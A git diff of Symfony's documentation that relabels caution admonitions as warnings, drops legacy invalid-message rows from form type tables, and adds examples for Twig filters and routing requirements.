@@ -23,8 +23,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please select a valid locale.                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
@@ -48,7 +46,7 @@ Overridden Options
 The choices option defaults to all locales. It uses the default locale to
 specify the language.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the locale type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 8e2130a5909..a02b695abd4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -13,8 +13,6 @@ how the input and output of the data is handled.
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid money amount.                                  |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
@@ -72,12 +70,13 @@ html5
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
-.. caution::
+.. warning::
 
-    As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
+    As HTML5 number format is normalized, it is incompatible with the ``grouping``
+    option.
 
-model_type
-~~~~~~~~~~
+input
+~~~~~
 
 **type**: ``string`` **default**: ``float``
 
@@ -87,7 +86,7 @@ values stored in cents as integers) set this option to ``integer``.
 
 .. versionadded:: 7.1
 
-    The ``model_type`` option was introduced in Symfony 7.1.
+    The ``input`` option was introduced in Symfony 7.1.
 
 scale
 ~~~~~
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 86d8eda3116..7e125a5fd05 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -10,8 +10,6 @@ that you want to use for your number.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please enter a number.                                               |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index 4e5b1be4c87..04106ee7e21 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,4 +1,4 @@
-.. caution::
+.. warning::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
     Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index 4ec8abb6ffe..4268c307d17 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at `
 
     See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
 
-.. caution::
+.. warning::
 
     The configured value must be a valid form name. Make sure to only return
     valid names when using a callable. Valid form names must be composed of
diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc
index 7aab319f302..3e1af29f3ab 100644
--- a/reference/forms/types/options/constraints.rst.inc
+++ b/reference/forms/types/options/constraints.rst.inc
@@ -1,7 +1,7 @@
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null``
+**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``[]``
 
 Allows you to attach one or more validation constraints to a specific field.
 For more information, see :ref:`Adding Validation <form-option-constraints>`.
diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc
index c3562d0a8b1..34f86e7c4c6 100644
--- a/reference/forms/types/options/data.rst.inc
+++ b/reference/forms/types/options/data.rst.inc
@@ -16,7 +16,7 @@ an individual field, you can set it in the data option::
         'data' => 'abcdef',
     ]);
 
-.. caution::
+.. warning::
 
     The ``data`` option *always* overrides the value taken from the domain data
     (object) when rendering. This means the object value is also overridden when
diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index e654a7037df..b143b9438fe 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -22,7 +22,7 @@ initial value in the rendered form.
     :doc:`/form/use_empty_data` article for more details about these
     options.
 
-.. caution::
+.. warning::
 
     :doc:`Form data transformers </form/data_transformers>` will still be
     applied to the ``empty_data`` value. This means that an empty string will
diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc
index 1b63cc4b56f..f35f6d56b00 100644
--- a/reference/forms/types/options/inherit_data.rst.inc
+++ b/reference/forms/types/options/inherit_data.rst.inc
@@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form.
 This can be useful if you have a set of fields that are duplicated across
 multiple forms. See :doc:`/form/inherit_data_option`.
 
-.. caution::
+.. warning::
 
     When a field has the ``inherit_data`` option set, it uses the data of
     the parent form as is. This means that
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
index 1f906fd1354..2b5e8a3515b 100644
--- a/reference/forms/types/options/sanitize_html.rst.inc
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -5,7 +5,7 @@ sanitize_html
 
 When ``true``, the text input will be sanitized using the
 :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
-submitted. This protects the form input against XSS, clickjacking and CSS
+submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS
 injection.
 
 .. note::
diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc
index ddbfff6660d..e4669faa7e4 100644
--- a/reference/forms/types/options/value.rst.inc
+++ b/reference/forms/types/options/value.rst.inc
@@ -6,7 +6,7 @@
 The value that's actually used as the value for the checkbox or radio button.
 This does not affect the value that's set on your object.
 
-.. caution::
+.. warning::
 
     To make a checkbox or radio button checked by default, use the `data`_
     option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 7fb760471ef..59e40fb19d1 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -8,8 +8,6 @@ The ``PasswordType`` field renders an input password text box.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The password is invalid.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
@@ -45,7 +43,7 @@ Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
 object.
 
-.. caution::
+.. warning::
 
     To minimize the risk of leaking the plain password, this option can
     only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index ce985488c76..b46ca298c53 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -14,8 +14,6 @@ the input.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a percentage value.                                      |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 7702b87cbad..7ab90086803 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -15,8 +15,6 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid option.                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 294023ce0c6..06eebfd5473 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -9,8 +9,6 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please choose a valid range.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index e5bd0cd4520..36211237bbd 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -11,8 +11,6 @@ accuracy.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The values do not match.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e38021bc461..ad4a8f7978a 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -4,15 +4,11 @@ SearchType Field
 This renders an ``<input type="search">`` field, which is a text box with
 special functionality supported by some browsers.
 
-Read about the input search field at `DiveIntoHTML5.info`_
-
 +---------------------------+----------------------------------------------------------------------+
 | Rendered as               | ``input search`` field                                               |
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid search term.                                    |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
@@ -65,5 +61,3 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. include:: /reference/forms/types/options/trim.rst.inc
-
-.. _`DiveIntoHTML5.info`: http://diveintohtml5.info/forms.html#type-search
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index 675f8e3f5cd..e8ab9c322fe 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -15,8 +15,6 @@ to input phone numbers.
 +---------------------------+-------------------------------------------------------------------+
 | Default invalid message   | Please provide a valid phone number.                              |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                               |
-+---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 0460bca6942..47a32368b99 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -19,10 +19,10 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
-.. caution::
+.. warning::
 
     When allowing users to type HTML code in the textarea (or using a
-    WYSIWYG) editor, the application is vulnerable to XSS injection,
+    WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
     clickjacking or CSS injection. Use the `sanitize_html`_ option to
     protect against these types of attacks.
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index b45b0eab561..a3378f948cd 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -14,8 +14,6 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid time.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | FormType                                                                    |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
@@ -69,19 +67,23 @@ If your widget option is set to ``choice``, then this field will be represented
 as a series of ``select`` boxes. When the placeholder value is a string,
 it will be used as the **blank value** of all select boxes::
 
-    $builder->add('startTime', 'time', [
+    $builder->add('startTime', TimeType::class, [
         'placeholder' => 'Select a value',
     ]);
 
 Alternatively, you can use an array that configures different placeholder
 values for the hour, minute and second fields::
 
-    $builder->add('startTime', 'time', [
+    $builder->add('startTime', TimeType::class, [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
         ],
     ]);
 
+.. seealso::
+
+    See the `with_seconds`_ option on how to enable seconds in the form type.
+
 .. include:: /reference/forms/types/options/hours.rst.inc
 
 .. include:: /reference/forms/types/options/html5.rst.inc
@@ -115,7 +117,7 @@ of the time. This must be a valid `PHP time format`_.
 
 .. include:: /reference/forms/types/options/model_timezone.rst.inc
 
-.. caution::
+.. warning::
 
     When using different values for ``model_timezone`` and `view_timezone`_,
     a `reference_date`_ must be configured.
@@ -136,7 +138,7 @@ based on this date.
 When no `reference_date`_ is set the ``view_timezone`` defaults to the
 configured `model_timezone`_.
 
-.. caution::
+.. warning::
 
     When using different values for `model_timezone`_ and ``view_timezone``,
     a `reference_date`_ must be configured.
@@ -159,7 +161,7 @@ following:
   will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using
   seconds).
 
-.. caution::
+.. warning::
 
     Combining the widget type ``single_text`` and the `with_minutes`_ option
     set to ``false`` can cause unexpected behavior in the client as the
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 3750e1b98d8..d2af713f1c8 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -16,8 +16,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid timezone.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
@@ -69,7 +67,7 @@ Overridden Options
 The Timezone type defaults the choices to all timezones returned by
 :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the timezone type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 52bdb8eb136..71fb77cffa0 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -9,8 +9,6 @@ a proper :ref:`Ulid object <ulid>` when submitting the form.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid ULID.                                            |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 96984b23226..9c6dde6072e 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -10,8 +10,6 @@ have a protocol.
 +---------------------------+-------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid URL.                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                               |
-+---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
@@ -27,6 +25,13 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
+Set this value to ``null`` to render the field using a ``<input type="url"/>``,
+allowing the browser to perform local validation before submission.
+
+When this value is neither ``null`` nor an empty string, the form field is
+rendered using a ``<input type="text"/>``. This ensures users can submit the
+form field without specifying the protocol.
+
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index c5aa6c2fdde..664c446bba9 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -9,8 +9,6 @@ a proper :ref:`Uuid object <uuid>` when submitting the form.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid UUID.                                            |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 84ee98aff85..bcd39249015 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -14,8 +14,6 @@ the data can be a string or an array.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid week.                                         |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                |
-+---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 20c3dc84c37..d8b802dd73e 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -130,8 +130,10 @@ asset_version
 
 .. code-block:: twig
 
-    {{ asset_version(packageName = null) }}
+    {{ asset_version(path, packageName = null) }}
 
+``path``
+    **type**: ``string``
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 
@@ -408,9 +410,18 @@ humanize
 ``text``
     **type**: ``string``
 
-Makes a technical name human readable (i.e. replaces underscores by spaces
-or transforms camelCase text like ``helloWorld`` to ``hello world``
-and then capitalizes the string).
+Transforms the given string into a human readable string (by replacing underscores
+with spaces, capitalizing the string, etc.) It's useful e.g. when displaying
+the names of PHP properties/variables to end users:
+
+.. code-block:: twig
+
+    {{ 'dateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'DateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'date-of-birth'|humanize }}  {# renders: Date-of-birth #}
+    {{ 'date_of_birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'date of birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'Date Of Birth'|humanize }}  {# renders: Date of birth #}
 
 .. _reference-twig-filter-trans:
 
@@ -462,8 +473,46 @@ yaml_encode
 ``dumpObjects`` *(optional)*
     **type**: ``boolean`` **default**: ``false``
 
-Transforms the input into YAML syntax. See :ref:`components-yaml-dump` for
-more information.
+Transforms the input into YAML syntax.
+
+The ``inline`` argument is the level where the generated output switches to inline YAML:
+
+.. code-block:: twig
+
+    {% set array = {
+        'a': {
+            'c': 'e'
+        },
+        'b': {
+            'd': 'f'
+        }
+    } %}
+
+    {{ array|yaml_encode(inline = 0) }}
+    {# output:
+       { a: { c: e }, b: { d: f } } #}
+
+    {{ array|yaml_encode(inline = 1) }}
+    {# output:
+       a: { c: e }
+       b: { d: f } #}
+
+The ``dumpObjects`` argument enables the dumping of PHP objects::
+
+    // ...
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    // ...
+
+.. code-block:: twig
+
+    {{ object|yaml_encode(dumpObjects = false) }}
+    {# output: null #}
+
+    {{ object|yaml_encode(dumpObjects = true) }}
+    {# output: !php/object 'O:8:"stdClass":1:{s:5:"foo";s:7:"bar";}' #}
+
+See :ref:`components-yaml-dump` for more information.
 
 yaml_dump
 ~~~~~~~~~
@@ -482,6 +531,43 @@ yaml_dump
 Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in
 the output.
 
+The ``inline`` argument is the level where the generated output switches to inline YAML:
+
+.. code-block:: twig
+
+    {% set array = {
+        'a': {
+            'c': 'e'
+        },
+        'b': {
+            'd': 'f'
+        }
+    } %}
+
+    {{ array|yaml_dump(inline = 0) }}
+    {# output:
+       %array% { a: { c: e }, b: { d: f } } #}
+
+    {{ array|yaml_dump(inline = 1) }}
+    {# output:
+       %array% a: { c: e }
+       b: { d: f } #}
+
+The ``dumpObjects`` argument enables the dumping of PHP objects::
+
+    // ...
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    // ...
+
+.. code-block:: twig
+
+    {{ object|yaml_dump(dumpObjects = false) }}
+    {# output: %object% null #}
+
+    {{ object|yaml_dump(dumpObjects = true) }}
+    {# output: %object% !php/object 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}' #}
+
 abbr_class
 ~~~~~~~~~~
 
@@ -617,6 +703,8 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+.. _reference-twig-filter-serialize:
+
 serialize
 ~~~~~~~~~
 
@@ -636,6 +724,37 @@ serialize
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
+.. _reference-twig-filter-emojify:
+
+emojify
+~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``emojify`` filter was introduced in Symfony 7.1.
+
+.. code-block:: twig
+
+    {{ text|emojify(catalog = null) }}
+
+``text``
+    **type**: ``string``
+
+``catalog`` *(optional)*
+    **type**: ``string`` | ``null``
+
+    The emoji set used to generate the textual representation (``slack``,
+    ``github``, ``gitlab``, etc.)
+
+It transforms the textual representation of an emoji (e.g. ``:wave:``) into the
+actual emoji (👋):
+
+.. code-block:: twig
+
+    {{ ':+1:'|emojify }}                 {# renders: 👍 #}
+    {{ ':+1:'|emojify('github') }}       {# renders: 👍 #}
+    {{ ':thumbsup:'|emojify('gitlab') }} {# renders: 👍 #}
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/routing.rst b/routing.rst
index 53ebe003e0a..df1f861c554 100644
--- a/routing.rst
+++ b/routing.rst
@@ -81,7 +81,7 @@ the ``list()`` method of the ``BlogController`` class.
     example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will
     also match the ``blog_list`` route.
 
-.. caution::
+.. warning::
 
     If you define multiple PHP classes in the same file, Symfony only loads the
     routes of the first class, ignoring all the other routes.
@@ -153,8 +153,8 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML format. If you
-    define routes in XML and/or PHP formats, you need to
+    By default, Symfony loads the routes defined in both YAML and PHP formats.
+    If you define routes in XML format, you need to
     :ref:`update the src/Kernel.php file <configuration-formats>`.
 
 .. _routing-matching-http-methods:
@@ -298,7 +298,7 @@ arbitrary matching logic:
         # config/routes.yaml
         contact:
             path:       /contact
-            controller: 'App\Controller\DefaultController::contact'
+            controller: App\Controller\DefaultController::contact
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
@@ -307,7 +307,7 @@ arbitrary matching logic:
 
         post_show:
             path:       /posts/{id}
-            controller: 'App\Controller\DefaultController::showPost'
+            controller: App\Controller\DefaultController::showPost
             # expressions can retrieve route parameter values using the "params" variable
             condition:  "params['id'] < 1000"
 
@@ -406,7 +406,7 @@ Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
 
-.. caution::
+.. warning::
 
     Conditions are *not* taken into account when generating URLs (which is
     explained later in this article).
@@ -649,6 +649,51 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            // src/Controller/BlogController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Attribute\Route;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            class BlogController extends AbstractController
+            {
+                #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])]
+                public function list(int $page): Response
+                {
+                    // ...
+                }
+            }
+
+        .. code-block:: yaml
+
+            # config/routes.yaml
+            blog_list:
+                path:       /blog/{page}
+                controller: App\Controller\BlogController::list
+                requirements:
+                    page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS
+
+        .. code-block:: php
+
+            // config/routes.php
+            use App\Controller\BlogController;
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            return static function (RoutingConfigurator $routes): void {
+                $routes->add('blog_list', '/blog/{page}')
+                    ->controller([BlogController::class, 'list'])
+                    ->requirements(['page' => Requirement::DIGITS])
+                ;
+                // ...
+            };
+
 .. tip::
 
     Route requirements (and route paths too) can include
@@ -808,7 +853,7 @@ other configuration formats they are defined with the ``defaults`` option:
 Now, when the user visits ``/blog``, the ``blog_list`` route will match and
 ``$page`` will default to a value of ``1``.
 
-.. caution::
+.. warning::
 
     You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``),
     but everything after an optional parameter must be optional. For example,
@@ -1489,6 +1534,12 @@ when importing the routes.
             ;
         };
 
+.. warning::
+
+    The ``exclude`` option only works when the ``resource`` value is a glob string.
+    If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
+    value will be ignored.
+
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
@@ -2072,6 +2123,16 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
+.. note::
+
+    If a route being imported includes the special :ref:`_locale <routing-locale-parameter>`
+    parameter in its own definition, Symfony will only import it for that locale
+    and not for the other configured locale prefixes.
+
+    E.g. if a route contains ``locale: 'en'`` in its definition and it's being
+    imported with ``en`` (prefix: empty) and ``nl`` (prefix: ``/nl``) locales,
+    that route will be available only in ``en`` locale and not in ``nl``.
+
 Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each
 locale.
@@ -2281,7 +2342,7 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
-.. caution::
+.. warning::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
@@ -2311,7 +2372,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
     class SomeService
     {
         public function __construct(
-            private UrlGeneratorInterface $router,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 
@@ -2320,20 +2381,20 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
             // ...
 
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
             // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
